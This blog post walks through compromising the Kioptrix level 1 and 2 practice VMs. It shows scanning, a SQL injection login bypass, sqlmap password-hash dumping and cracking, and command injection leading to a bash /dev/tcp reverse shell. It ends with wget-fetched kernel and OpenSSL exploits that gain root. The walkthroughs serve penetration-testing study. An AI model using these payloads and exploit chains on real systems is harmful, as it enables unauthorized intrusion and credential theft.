Monday, March 31, 2014

Kioptrix Series: Challenge 2


1. Find the VM: I am running Kali and the K2 VM both on the NAT interface. My Kali VM has gotten a DHCP address of 172.16.32.132 so I scan the entire Class C network:
# nmap -P0 172.16.32.1-255
I see a system running SSH, HTTP, HTTPS, RPCBIND, MYSQL, etc. at 172.16.32.134:
Nmap scan report for 172.16.32.134
Host is up (0.00058s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
631/tcp  open  ipp
3306/tcp open  mysql
MAC Address: 00:0C:29:E3:A6:03 (VMware)

2. Get a detailed scan of K2:
# nmap -A 172.16.32.134
3. Run a vulnerability scan:
·      Applications >> Kali Linux >> System Services >> OpenVas >> openvas start
·      In a Terminal, start the web interface: # gsad
·      Open a browser and navigate to https://localhost
·      Login with the password you created in setup (username is admin)
·      Configuration >> Targets
·      Click the star icon (New Target)
·      Fill in the details (Name: K2, Hosts: <IP address of K2>)
·      Create Target
·      Scan Management >> New Task
·      Fill in the details (Name: K2, Scan Targets: K2)
·      Create Task
·      Click the play button under Actions (Start)
·      While you're waiting, click the magnifier (Details) and then again at the next page to look at the results as they come in

4. Once the scan is complete, you'll see lots of PHP vulnerabilities but nothing remote. We’ll keep looking.
5. Let's look at the web server. We do a scan with nikto:
# nikto -h 172.16.32.133
Not much to use here. Continuing on…

6. Browsing with a web browser to our target, we find a login page. Let’s look at the data being sent with a web proxy:
·      Applications >> Kali Linux >> Web Applications >> Web Application Proxies >> owasp-zap
·      Click the à button to capture all outgoing requests
·      In Iceweasel: Edit >> Preferences >> Advanced >> Network >> Settings…
Select “Manual proxy configuration” and set the HTTP Proxy for 127.0.0.1, port 8080. This will locally proxy all our web traffic through ZAP which will give us a better look at the data.
·      On the target login page, input ‘admin’ and ‘pass’ in the appropriate fields
ZAP will break on the request and show the following data:

·      Pressing the play button will allow the request to continue. You can also capture the return data by clicking the ß button.
7. ZAP has showed us the format of the HTTP POST data being sent, now we can use some previous knowledge to gain access to the target. Looking at the nmap output we notice that MYSQL is running on the system. Let’s see if we can do some checks for SQL injection.
Most likely, the PHP page is submitting the data as a SQL query as something like this:
$query = "SELECT * FROM users WHERE username = '$uname' AND password='$psw'";
The expected input:
$query = "SELECT * FROM users WHERE username = 'admin' AND password='pass'";
Our SQL injection input:
$query = "SELECT * FROM users WHERE username = 'admin' AND password='' OR 1=1 -- -'";

This SQL injection statement will return true and allow login because we first close the single quote, follow it with a 1 equals 1 (which is always true) and the “-- -“ comments out the rest of the query.
Using this injection gives us access to an administrative tool that allows us to ping.
8. Since we know SQL injection is possible on that HTTP POST data, let’s look at using an awesome tool that automates SQL injection: sqlmap.
# sqlmap -h
First we put the link in a format that sqlmap wants: http://172.16.32.134/index.php?=1
Then we give it the HTTP POST data to inject into, we use the maximum level and risk values (5 and 3, respectively), and tell sqlmap to get the password hashes if it can inject.
# sqlmap -u http://172.16.32.134/index.php?=1 --data="uname=admin&psw=pass&btnLogin=Login" --level=5 --risk=3 --passwords

[*] starting at 22:00:29

[22:00:29] [INFO] testing connection to the target URL
[22:00:29] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:00:31] [INFO] target URL is stable
[22:00:31] [INFO] testing if POST parameter 'uname' is dynamic
<--snip-->
[22:01:03] [INFO] testing MySQL
[22:01:03] [INFO] confirming MySQL
[22:01:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 4.9
web application technology: PHP 4.3.9, Apache 2.0.52
back-end DBMS: MySQL < 5.0.0
[22:01:03] [INFO] fetching database users password hashes
[22:01:03] [INFO] fetching database users
[22:01:03] [INFO] fetching number of database users
[22:01:03] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:01:03] [INFO] retrieved: 3
[22:01:03] [INFO] retrieved:
[22:01:03] [INFO] retrieved:
[22:01:03] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads

[22:01:03] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[22:01:03] [INFO] retrieved: john
[22:01:03] [INFO] retrieved: root
[22:01:04] [INFO] fetching number of password hashes for user 'john'
[22:01:04] [INFO] retrieved: 1
[22:01:04] [INFO] fetching password hashes for user 'john'
[22:01:04] [INFO] retrieved: 5a6914ba69e02807
[22:01:05] [INFO] fetching number of password hashes for user 'root'
[22:01:05] [INFO] retrieved: 1
[22:01:05] [INFO] fetching password hashes for user 'root'
[22:01:05] [INFO] retrieved: 5a6914ba69e02807
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
[22:01:15] [INFO] using hash method 'mysql_old_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[22:01:20] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[22:01:25] [INFO] starting dictionary-based cracking (mysql_old_passwd)
[22:01:25] [INFO] starting 2 processes
[22:01:37] [INFO] cracked password 'hiroshima' for user 'john'                                    
database management system users password hashes:                                                 
[*] john [1]:
    password hash: 5a6914ba69e02807
    clear-text password: hiroshima
[*] root [1]:
    password hash: 5a6914ba69e02807
    clear-text password: hiroshima

[22:01:42] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/172.16.32.134'

[*] shutting down at 22:01:42

9. Play around with sqlmap and see what other data you can recover. We could probably use those usernames and passwords to remotely login to the MYSQL database, but let’s take a closer look at that administrative ping page. This is a classic case of command injection. Looking at the source for the page, we see the page is calling another PHP file: pingit.php. When we submit a command, the results are written to the pingit.php file. Let’s see what happens when we input the following:
localhost; whoami; id
PING localhost.localdomain (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=0 ttl=64 time=0.022 ms
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=1 ttl=64 time=0.049 ms
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=2 ttl=64 time=0.050 ms

--- localhost.localdomain ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.022/0.040/0.050/0.014 ms, pipe 2
apache
uid=48(apache) gid=48(apache) groups=48(apache)

So now we know the command is being run by user apache. Go ahead and see what happens when you run other commands like ls and find.
10. Now let's see if we can have it send us back a shell. First we need a listener:
# nc -l -p 4444
Now we input a command into the administrative page to give us a reverse shell. Take a pick from here and see what works: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
localhost; bash -i >& /dev/tcp/172.16.32.132/4444 0>&1
Success!
11. Now we just need root. Let's look at the kernel version:
$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux

A Google search for "2.6.9-55 exploit" reveals an exploit for the ip_append_data(). Let's look in ExploitDB for that one:
# searchsploit ip_append_data
Linux Kernel 2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit       /linux/local/9542.c

Let's copy that up to the victim:
# cp /usr/share/exploitdb/platforms/linux/local/9542.c /var/www/ip_append_data.c
# chmod 777 /var/www/ip_append_data.c
# service apache2 start

On the victim shell:
$ wget http://172.16.32.132/ip_append_data.c
--19:32:20--  http://172.16.32.132/ip_append_data.c
           => `ip_append_data.c'
Connecting to 172.16.32.132:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,645 (2.6K) [text/x-csrc]
ip_append_data.c: Permission denied

Cannot write to `ip_append_data.c' (Permission denied).

Ok, we don't have permissions to write there. Let's try /tmp (it's usually world writable):
$ cd /tmp
$ wget http://172.16.32.132/ip_append_data.c
--19:34:00--  http://172.16.32.132/ip_append_data.c
           => `ip_append_data.c.1'
Connecting to 172.16.32.132:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,645 (2.6K) [text/x-csrc]

    0K ..                                                    100%  280.27 MB/s

19:34:00 (280.27 MB/s) - `ip_append_data.c.1' saved [2645/2645]

Success! Let's compile and run:
$ gcc ip_append_data.c -o exploit
$ ./exploit
sh: no job control in this shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=48(apache)

Monday, March 24, 2014

Kioptrix Series: Challenge 1


1. Find the VM: I am running Kali and the K1 VM both on the NAT interface. My Kali VM has gotten a DHCP address of 172.16.32.132 so I scan the entire Class C network:
# nmap -P0 172.16.32.1-255
I see a system running SSH, HTTP, HTTPS, RPCBIND, NETBIOS, etc. at 172.16.32.133:
Nmap scan report for 172.16.32.133
Host is up (0.00057s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
32768/tcp open  filenet-tms
MAC Address: 00:0C:29:8A:99:F5 (VMware)

2. Get a detailed scan of K1:
# nmap -A 172.16.32.133
3. Run a vulnerability scan:
·      Applications >> Kali Linux >> System Services >> OpenVas >> openvas start
·      In a Terminal, start the web interface: # gsad
·      Open a browser and navigate to https://localhost
·      Login with the password you created in setup (username is admin)
·      Configuration >> Targets
·      Click the star icon (New Target)
·      Fill in the details (Name: K1, Hosts: <IP address of K1>)
·      Create Target
·      Scan Management >> New Task
·      Fill in the details (Name: K1, Scan Targets: K1)
·      Create Task
·      Click the play button under Actions (Start)
·      While you're waiting, click the magnifier (Details) and then again at the next page to look at the results as the come in
4. Once the scan is complete, you'll see the following vulnerability: OpenSSH 'sshd' Challenge Response Authentication Buffer Overflow Vulnerability. Search for the exploit (this uses a local copy of Exploit DB):
# searchsploit openssh
Search results reveal:
 OpenSSH 3.x Challenge-Response Buffer Overflow Vulnerabilities (1)          /unix/remote/21578.txt
These files reside in /usr/share/exploitdb/platforms. The text file describes the exploit and the location to download the needed tools. Download, untar the file and read the directions.
Unfortunately, the SSH server isn't vulnerable to this exploit. Keep looking!
5. Let's look at the web server. We do a scan with nikto:
# nikto -h 172.16.32.133
This reveals some interesting vulnerabilities:
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.

6. We do a little research and find that there's an exploit for the outdated mod_ssl called OpenFuck (hackers have such nice language).
7. Search ExploitDB for apache:
# searchsploit apache linux remote
This which shows the following OpenSSL exploit:
Apache OpenSSL Remote Exploit (Multiple Targets) (OpenFuckV2.c)             /linux/remote/764.c
8. Read the file. You might not understand everything that is going on, but it’s good practice to see what’s inside, especially if you’re going to compile and run it.
9. Compile exploit: This exploit is a little old, so you need to add some headers to get it to compile. The directions in the comments at the top of the file say to compile with:
# gcc -o exploit 764.c -lcrypto
The compiler complains about missing RC4 and MD5 so we’ll include those header files by adding the following to the top of the file:
#include <openssl/rc4.h>
#include <openssl/md5.h>
This exploit only gets the user a shell with apache permissions, and we want root! The exploit is setup to pull down the ptrace-kmod.c file (line 663) which exploits the old Linux 2.4 kernel. That link no longer is active, so we replace it with a current one.
First, we check if it’s in ExploitDB:
# searchsploit ptrace kmod
Linux Kernel 2.2.x - 2.4.x ptrace/kmod Local Root Exploit                   /linux/local/3.c
Then we move that file into our web directory and start the Apache webserver:
# cp /usr/share/exploitdb/platforms/linux/local/3.c /var/www/ptrace-kmod.c
# chmod 777 /var/www/ptrace-kmod.c
# service apache2 start

Now you can change that link to http://<your Kali IP address>/ptrace-kmod.c and compile the exploit with the previous gcc options.

10. Exploit! Run the exploit without any options to see what options it takes. Using the results from nmap, we know our target type from the list.
# ./exploit 0x6b 172.16.32.133 443
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8068
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
 -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; p://172.16.32.132/ptrace-kmod.c; gcc
--20:39:09--  http://172.16.32.132/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to 172.16.32.132:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,947 [text/x-csrc]

    0K ...                                                   100% @   3.76 MB/s

20:39:09 (3.76 MB/s) - `ptrace-kmod.c' saved [3947/3947]

[+] Attached to 954
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...

# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# uname -a
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown